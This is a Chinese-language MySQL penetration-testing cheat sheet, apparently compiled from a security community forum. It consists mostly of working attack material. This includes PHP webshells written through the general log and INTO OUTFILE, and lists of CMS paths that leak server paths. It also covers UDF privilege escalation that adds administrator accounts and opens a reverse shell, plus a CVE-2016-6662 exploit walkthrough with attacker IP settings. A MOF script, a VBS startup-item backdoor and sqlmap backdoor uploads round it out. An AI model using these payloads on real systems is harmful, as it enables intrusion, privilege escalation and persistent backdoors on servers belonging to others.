MYSQL渗透测试
部分来源于:先知社区
MYSQL-getshell篇
通过日志getshell
-
查看日志的物理路径(绝对路径)
show variables like '%general%';
-
打开日志记录内容
set global general_log = on;
-
重新设置日志路径(绝对路径)
set global general_log_file = '日志绝对路径';
-
写入webshell
通过SQL的查询语句,查询的语句会被记录在日志中,以此达到将php的webshell写入到日志文件中
select '<?php eval($_POST[request]);?>'
-
事后还原
最好恢复为原本状态,不然一直记录会将含有webshell的日志文件变得越来越大,影响正常使用
set global general_log_file = '原本日志文件路径'; set global general_log = off;
通过outfile语句getshell
-
直接通过outfile获取webshell
select '<?php @eval($_POST[request];?>' into outfile '木马在目标机器的绝对路径'; select unhex('十六进制字符串') into dumpfile '木马在目标机器的绝对路径'; select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/xiaoma.php';
-
通过建立临时表生成webshell
CREATE TABLE `mysql`.`demo`(`temp` TEXT NOT NULL); INSERT INTO `mysql`.`demo` (`temp`) VALUES('<?php @eval($_POST[request]);?>'); SELECT `temp` FROM `demo` INTO OUTFILE '木马在目标机器的绝对路径'; DROP TABLE IF EXIST `demo`;
CVE-2016-6662
本身既能提权也能直接getshell,详见MYSQL-提权篇
php爆路径方式(主要用于拓宽思路)
-
单引号爆路径
说明: 直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。 www.xxx.com/news.php?id=149′
-
错误参数值爆路径
说明: 将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。 www.xxx.com/researcharchive.php?id=-1
-
Google爆路径
说明: 结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。 Site:xxx.edu.tw warning Site:xxx.com.tw “fatal error”
-
测试文件爆路径
说明: 很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。 www.xxx.com/test.php www.xxx.com/ceshi.php www.xxx.com/info.php www.xxx.com/phpinfo.php www.xxx.com/php_info.php www.xxx.com/1.php
-
phpmyadmin爆路径
说明: 一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。 1. /phpmyadmin/libraries/lect_lang.lib.php 2./phpMyAdmin/index.php?lang[]=1 3. /phpMyAdmin/phpinfo.php 4. load_file() 5./phpmyadmin/themes/darkblue_orange/layout.inc.php 6./phpmyadmin/libraries/select_lang.lib.php 7./phpmyadmin/libraries/lect_lang.lib.php 8./phpmyadmin/libraries/mcrypt.lib.php
-
配置文件找路径
说明: 如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。 Windows: c:\windows\php.ini php配置文件 c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件 Linux: /etc/php.ini php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
-
nginx文件类型错误解析爆路径
说明: 这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。 www.xxx.com/top.jpg/x.php
-
其他
-
dedecms
/member/templets/menulit.php plus/paycenter/alipay/return_url.php plus/paycenter/cbpayment/autoreceive.php paycenter/nps/config_pay_nps.php plus/task/dede-maketimehtml.php plus/task/dede-optimize-table.php plus/task/dede-upcache.php
-
WP
wp-admin/includes/file.php wp-content/themes/baiaogu-seo/footer.php
-
ecshop商城系统暴路径漏洞文件
/api/cron.php /wap/goods.php /temp/compiled/ur_here.lbi.php /temp/compiled/pages.lbi.php /temp/compiled/user_transaction.dwt.php /temp/compiled/history.lbi.php /temp/compiled/page_footer.lbi.php /temp/compiled/goods.dwt.php /temp/compiled/user_clips.dwt.php /temp/compiled/goods_article.lbi.php /temp/compiled/comments_list.lbi.php /temp/compiled/recommend_promotion.lbi.php /temp/compiled/search.dwt.php /temp/compiled/category_tree.lbi.php /temp/compiled/user_passport.dwt.php /temp/compiled/promotion_info.lbi.php /temp/compiled/user_menu.lbi.php /temp/compiled/message.dwt.php /temp/compiled/admin/pagefooter.htm.php /temp/compiled/admin/page.htm.php /temp/compiled/admin/start.htm.php /temp/compiled/admin/goods_search.htm.php /temp/compiled/admin/index.htm.php /temp/compiled/admin/order_list.htm.php /temp/compiled/admin/menu.htm.php /temp/compiled/admin/login.htm.php /temp/compiled/admin/message.htm.php /temp/compiled/admin/goods_list.htm.php /temp/compiled/admin/pageheader.htm.php /temp/compiled/admin/top.htm.php /temp/compiled/top10.lbi.php /temp/compiled/member_info.lbi.php /temp/compiled/bought_goods.lbi.php /temp/compiled/goods_related.lbi.php /temp/compiled/page_header.lbi.php /temp/compiled/goods_script.html.php /temp/compiled/index.dwt.php /temp/compiled/goods_fittings.lbi.php /temp/compiled/myship.dwt.php /temp/compiled/brands.lbi.php /temp/compiled/help.lbi.php /temp/compiled/goods_gallery.lbi.php /temp/compiled/comments.lbi.php /temp/compiled/myship.lbi.php /includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php /includes/modules/cron/auto_manage.php /includes/modules/cron/ipdel.php
-
ucenter爆路径
ucenter\control\admin\db.php
-
DZbbs
manyou/admincp.php?my_suffix=%0A%0DTOBY57
-
z-blog
admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php
-
php168爆路径
admin/inc/hack/count.php?job=list admin/inc/hack/search.php?job=getcode admin/inc/ajax/bencandy.php?job=do cache/MysqlTime.txt
-
PHPcms2008-sp4
注册用户登陆后访问 phpcms/corpandresize/process.php?pic=../images/logo.gif
-
bo-blog
/go.php/<[evil code]
-
CMSeasy爆网站路径漏洞
漏洞出现在menu_top.php这个文件中 lib/mods/celive/menu_top.php /lib/default/ballot_act.php lib/default/special_act.php
-
MYSQL-提权篇
UDF提权
-
提权原理
特性一:不管是windows还是linux,都会存在一个称之为动态链接库(相当于数个函数的封装)的文件,在windows下通常表现为dll文件,而在linux下通常表现为so文件,程序运行时会调用动态链接库中的函数,以此实现复杂功能。
特性二:在程序运行或加载时,有操作系统加载动态链接库,因此动态链接库真正的调用者其实是操作系统,所以动态链接库的执行权限是系统最高权限
利用上述两个特性,只需将包含恶意函数的动态链接库文件加载到MYSQL中,然后通过MYSQL进行函数调用,即可实现任意代码的执行
-
提权条件
- MYSQL版本大于5.1:动态链接库必须放置在MYSQL安装目录下的
lib\plugin
目录下 - MYSQL版本小于5.1大于5.0:在Windows2003下DLL文件放置于
C:\windows\system32
;在windows200下DLL文件放置于C:\winnt\system32
- MYSQL版本小于5.0:动态链接库可任意放置
- MYSQL数据库用户具有创建和删除函数的权限
- 有写入指定目录的权限
secure_file_priv
为空,表示MYSQL对文件的导入导出无任何限制
- MYSQL版本大于5.1:动态链接库必须放置在MYSQL安装目录下的
-
提权思路
-
查看plugin目录
加载失败可先尝试删除原有的扩展名:
delete from mysql.func where name='函数名';
show variables like '%plugin%'; select @@plugin_dir;
-
写入动态链接库
MYSQL大于5.1情况下,可能默认不存在plugin目录,因此可利用NTFS ADS流创建plugin目录
先查找MYSQL目录:
select @@basedir;
再创建lib目录:
select 'It is dll' into dumpfile 'MYSQL目录\\lib::$INDEX_ALLOCATION';
最后创建plugin目录:
select 'It is dll' into dumpfile 'MYSQL目录\\lib\\plugin::$INDEX_ALLOCATION';
- 通过webshell直接上传文件至指定目录
- 使用udf.php工具写入dll文件
- lib_mysqludf_sys==>
select hex(load_file("so文件路径")) into outfile "目的txt文件路径"
写入so文件 - 利用lib_mysqludf_sys==>
select unhex("16进制字符串") into dumpfile("plugin目录路径");
写入so文件
-
创建自定义函数,执行系统命令
# 根据udf.dll创建自定义函数cmdshell create function cmdshell returns string soname 'udf.dll'; # 执行cmd命令(创建新用户) select cmdshell('net user waitalone waitalone.cn /add'); select cmdshell('net localgroup administrators waitalone /add'); # 删除自定义函数 drop function cmdshell; delete from mysql.func where name='cmdshell'; ## 反弹shell create function backshell returns string soname 'udf.dll'; select backshell("remote_ip",remote_port);
create function sys_eval returns soname "mysqludf.so"; select sys_eval("whoami");
-
CVE-2016-6662
MYSQL 0Day漏洞:攻击者在仅拥有SELECT/FILE的权限下,利用此漏洞实现ROOT提权,执行任意代码,进而控制服务器
-
利用原理
MySQL的默认安装包里面包含一个脚本mysqld_safe,它被用来启动MySQL服务。mysqld_safe脚本是以root权限启动的,而数据库守护进程mysqld是用较低权限的mysql用户启动的。mysqld_safe脚本中存在一个参数malloc-lib,该参数会引导MYSQL服务加载时,预加载一个库文件,该参数同样可以在MYSQL默认配置文件my.cnf中指定,如:
[mysqld]
或者[mysqld_safe]
。该漏洞的本质是攻击者通过log函数利用不恰当的权限改写MYSQL的配置文件my.cnf,将恶意的文件路径插入到配置文件my.cnf中,从而加载恶意库文件,当mysql服务重启时,就能以root权限执行任意代码 -
利用条件
- 攻击者必须拥有MYSQL的SQL-SHELL,以实现my.cnf的附写
- 攻击者必须能促使MYSQL服务重启
-
利用细节
-
通过SQL注入等手段获取SQL-SHELL
-
通过文件上传或DUMPFILE命令将恶意malloc_lib共享文件上传到目标服务器
select unhex("so文件对应的十六进制字符串") into dumpfile "目标so文件路径"
-
覆写MYSQL配置文件my.cnf
set global general_log_file='/var/lib/mysql/my.cnf'; set global general_log = on; select ' '> '> ; injected config entry '> '> [mysqld] '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so '> '> [separator] '> '> '; set global general_log = off;
以此通过log函数在my.cnf后
-
执行任意命令
## 执行系统命令 # 根据udf.dll创建自定义函数cmdshell create function cmdshell returns string soname 'udf.dll'; # 执行cmd命令(创建新用户) select cmdshell('net user waitalone waitalone.cn /add'); select cmdshell('net localgroup administrators waitalone /add'); # 删除自定义函数 drop function cmdshell; delete from mysql.func where name='cmdshell'; ## 反弹shell create function backshell returns string soname 'udf.dll'; select backshell("remote_ip",remote_port);
-
重启MYSQL服务,触发恶意库文件执行
-
-
EXP复现
-
修改一下mysql_hookandroot_lib.c的ip,port和my.cnf的位置:
#define ATTACKERS_IP "192.168.0.1" #define SHELL_PORT 6033 #define INJECTED_CONF "/usr/local/mysql/my.cnf"
-
修改一下
0ldSQL_MySQL_RCE_exploit.py
的port和my.cnf的位置,然后执行python 0ldSQL_MySQL_RCE_exploit.py -dbuser attacker -dbpass 'p0cpass!' -dbhost 192.168.0.1 -dbname pocdb -mycnf /usr/local/mysql/my.cnf
最后重启MYSQL服务,再次连接MYSQL,
whoami
发现成功提权 -
sqlmap提权
本质上sqlmap提权其实就是UDF提权,但某些情况下,无法获取MYSQL数据库的用户名密码,如:SQL注入,这时SQLMAP会帮上忙
# 前提条件:存在SQL注入,且MYSQL用户对应的密码复杂度较高,无法获取其明文密码,或者MYSQL无法远程连接
# 上传提权所需的文件,可指定文件存放位置
python sqlmap.py -u "http://ip:port/path" --file-write=本地文件路径 --file-dest=目标文件路径
# 激活sys_exec函数,用于执行系统命令(这一步骤与UDF步骤完全一致)
python sqlmap.py -u "http://ip:port/path" --sql-shell
# 上传后门
python sqlmap.py -u "http://ip:port/path" --file-write=本地木马文件路径 --file-dest=目标文件路径
MOF提权
MOF文件是MYSQL数据库的扩展文件(
c:/windows/system32/wbem/mof/nullevt.mof
),其作用是每隔5秒该文件就会去监控进程的创建和死亡
-
提权原理
MOF文件每隔5秒就会执行,且执行命令时的权限为系统权限,如果通过MYSQL将MOF文件替换,那么系统就会每隔5秒执行MOF文件,MOF文件中存在一段VBS脚本,因此控制VBS脚本内容变成让系统执行命令,进而提权
-
利用条件
- Windows <= 2003
- MYSQL对
c:/windows/system32/wbem/mof
目录有写入权限 - 已知MYSQL数据的账号密码
-
利用方式
-
test.mof (此处借助wscrript.shell执行系统命令)
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
-
通过webshell等方式将MOF文件上传至任意目录
-
通过outfile将MOF文件写入到执行目录下
select load_file("当前MOF文件路径") into dumpfile "指定MOF文件路径";
-
VBS提权
利用MYSQL数据库创建启动项
# 创建临时表a,cmd为字段
create table a (cmd text);
# 通过MYSQL获取系统高权限(后续补充,0表示不弹出窗口)
insert into a values ("set wshshell=createobject('wscript.shell')");
insert into a values ("a=wshshell.run('cmd.exe /c net user user1 password1 /add',0)");
insert into a values ("b=wshshell.run('cmd.exe /c net localgroup administrators user1 /add',0)");
# 写入到启动项中
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
利用MYSQL数据库创建启动项,直接写16进制木马(dumpfile与outfile有所区别)
create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\payload.exe'
drop table a;
CVE-2016-6663:条件竞争漏洞提权
CVE-2016-6664:权限提升漏洞
MYSQL-命令篇(持续更新)
# 如果是本地MYSQL,可直接执行系统命令
system command
# 查看plugin目录
select @@plugin_dir;
show variables like "%plugin%";
# 查看log相关环境变量
show variables like "%general_log_file%";
show variables like "%general_log%";
# 将十六进制转成字符串再写入文件
select unhex("十六进制字符串") into dumpfile '文件路径';
# 将字符串写入文件
select "字符串" into outfile '文件路径';
两者的区别在于outfile将数据写入文件时会对文件内容进行格式转换,比如转义字符,而dumpfile会保存原数据格式;outfile会在每行数据后自动换行,而dumpfile只能导出一行数据
# 查看文件导入导出限制
select @@secure_file_priv;
# 当输出值为空时,表示无任何限制;当输出值为一个指定目录时,表示只能向指定目录导入导出文件;当输出值为NULL时,表示禁止文件的导入导出
# 查看文件内容,返回字符串
select load_file('文件路径');